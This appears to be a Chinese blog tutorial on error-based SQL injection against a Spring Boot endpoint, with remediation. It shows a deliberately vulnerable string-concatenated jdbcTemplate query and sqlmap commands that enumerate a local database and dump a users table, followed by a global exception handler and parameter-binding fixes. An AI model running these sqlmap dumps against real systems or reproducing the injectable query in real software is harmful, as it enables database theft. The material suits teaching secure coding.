阅读量:3
SQL注入:基于错误
攻击者通过在SQL中插入错误的语法,触发数据库错误,从错误消息中获取有关数据库结构和数据的信息。
1、先决条件
没有进行统一的异常处理,接口访问报错直接响应给客户端
采用jdbcTemplate 操作数据库
@PostMapping("wrong") public void wrong(@RequestParam("username") String username) { // 直接使用字符串拼接的方式 log.info("{}", jdbcTemplate.queryForList("SELECT id,username FROM users WHERE username LIKE '%" + username + "%'")); }
2、使用sqlmap实现拖库
1、获取数据库名称
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test --current-db --flush-session .......中间直接输入y,继续向下 [18:29:55] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.6 [18:29:55] [INFO] fetching current database [18:29:55] [INFO] retrieved: 'sqlinject' current database: 'sqlinject' C:\Python310\sqlmap>
current database后面的就是数据库的名称。
程序控制台提示:
java.sql.SQLSyntaxErrorException: FUNCTION sqlinject.AURORA_VERSION does not exist
2、获取库下面的表
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test --tables -D "sqlinject" [18:39:53] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.6 [18:39:53] [INFO] fetching tables for database: 'sqlinject' [18:39:53] [WARNING] reflective value(s) found and filtering out [18:39:53] [INFO] retrieved: 'userdata' [18:39:53] [INFO] retrieved: 'users' Database: sqlinject [2 tables] +----------+ | userdata | | users | +----------+ C:\Python310\sqlmap
3、dump数据库表
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test -D "sqlinject" -T "users" --dump 。。。。。。。。。。。。。。。。。。。。 Database: sqlinject Table: users [3 entries] +----+----------+----------+ | id | password | username | +----+----------+----------+ | 1 | haha1 | test1 | | 2 | haha2 | test2 | | 3 | 123456 | kevin | +----+----------+----------+ [18:42:35] [INFO] table 'sqlinject.users' dumped to CSV file 'C:\Users\admin\AppData\Local\sqlmap\output\localhost\dump\sqlinject\users.csv' C:\Python310\sqlmap>
至此整个数据库的表数据就都拖过来了。可想而知这个SQL注入的危害。
3、补救措施
- 1、全局把异常捕获,不响应给客户端
@ExceptionHandler public void handle(HttpServletRequest req, HandlerMethod method, Exception ex) { log.warn(String.format("访问 %s -> %s 出现异常!", req.getRequestURI(), method.toString()), ex); }
这样在执行获取数据库名称就不能实现了
C:\Python310\sqlmap>python sqlmap.py -u http://localhost:18081/error-based/wrong --data username=test --current-db --flush-session [18:54:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:54:53] [WARNING] POST parameter 'username' does not seem to be injectable [18:54:53] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
但是这样就完全可以解决问题了么??,但是如果知道了数据库名称,表名这个时候还能不能拖库成功呢?这两种都是不可以的。但是这还不是最好的解决方法,应该使用参数绑定的方式解决。
- 2、使用参数绑定的方式
@PostMapping("right") public void right(@RequestParam("username") String username) { log.info("{}", jdbcTemplate.queryForList("SELECT id,username FROM users WHERE username LIKE ?", "%" + username + "%")); }